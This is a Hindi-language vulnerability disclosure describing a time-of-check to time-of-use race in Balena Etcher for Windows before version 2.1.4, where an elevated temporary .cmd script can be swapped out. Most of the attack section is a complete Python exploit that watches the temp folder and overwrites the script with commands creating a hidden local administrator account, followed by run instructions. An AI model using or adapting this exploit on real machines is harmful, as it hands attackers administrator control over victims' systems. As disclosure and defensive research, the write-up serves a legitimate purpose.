
Balena Etcher के v2.1.4 से पहले के संस्करण Windows पर अस्थायी फ़ाइल हैंडलिंग में Time-of-Check to Time-of-Use (TOCTOU) रेस कंडीशन से प्रभावित हैं।
Balena Etcher for Windows के 2.1.4 से पहले के संस्करणों में एक Time-of-Check to Time-of-Use (TOCTOU) भेद्यता की पहचान की गई थी।
एप्लिकेशन उपयोगकर्ता-लिखने योग्य निर्देशिका में एक अस्थायी .cmd फ़ाइल बनाता है और बाद में इसे UAC के माध्यम से उन्नत विशेषाधिकारों के साथ निष्पादित करता है।
यह वर्तमान उपयोगकर्ता संदर्भ में मध्यम अखंडता के साथ चल रहे किसी एप्लिकेशन या प्रक्रिया को, निष्पादन से पहले अस्थायी स्क्रिप्ट में दुर्भावनापूर्ण कमांड इंजेक्ट करके उच्च अखंडता तक विशेषाधिकार बढ़ाने की अनुमति देता है।
जब कोई उपयोगकर्ता फ्लैशिंग प्रक्रिया शुरू करता है, तो Etcher निम्नलिखित अनुक्रम करता है:
उपयोगकर्ता की लिखने योग्य अस्थायी निर्देशिका में एक अस्थायी .cmd फ़ाइल बनाई जाती है:
C:\Users\<username>\AppData\Local\Temp\etcher\
फ़ाइल में आवश्यक पर्यावरण चर और etcher-util.exe लॉन्च करने का कमांड भरा जाता है।
स्क्रिप्ट को Windows UAC के माध्यम से उन्नत विशेषाधिकारों के साथ निष्पादित किया जाता है।
भेद्यता फ़ाइल निर्माण और निष्पादन के बीच के समय अंतराल से उत्पन्न होती है। इस संक्षिप्त विंडो के दौरान, समान उपयोगकर्ता संदर्भ में चल रहा कोई एप्लिकेशन अस्थायी निर्देशिका की निगरानी कर सकता है और वैध .cmd फ़ाइल को दुर्भावनापूर्ण संस्करण से बदल सकता है। चूंकि Etcher निष्पादन से पहले फ़ाइल की अखंडता को सत्यापित नहीं करता है, इसलिए दुर्भावनापूर्ण कोड उन्नत विशेषाधिकारों के साथ चलता है।
निम्नलिखित Python स्क्रिप्ट Etcher अस्थायी निर्देशिका की निगरानी करती है और .cmd फ़ाइल का पता चलते ही, उसमें एक दुर्भावनापूर्ण पेलोड जोड़ देती है जो एक नया स्थानीय व्यवस्थापक खाता बनाता है।
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py चलाएँ। स्क्रिप्ट Etcher द्वारा बनाई गई किसी भी .cmd फ़ाइल के लिए अस्थायी निर्देशिका की निगरानी शुरू कर देती है।
जब UAC प्रॉम्प्ट दिखाई दे, तो Etcher को उन्नत विशेषाधिकारों के साथ जारी रखने की अनुमति देने के लिए इसे स्वीकार करें।
एक्सप्लॉइट स्क्रिप्ट निष्पादन से ठीक पहले अस्थायी .cmd फ़ाइल का पता लगाती है और उसे बदल देती है। एक बार स्क्रिप्ट उन्नत विशेषाधिकारों के साथ चलने के बाद, इंजेक्ट किए गए कमांड निष्पादित होते हैं और एक नया स्थानीय व्यवस्थापक उपयोगकर्ता (exploitUser) जोड़ा जाता है।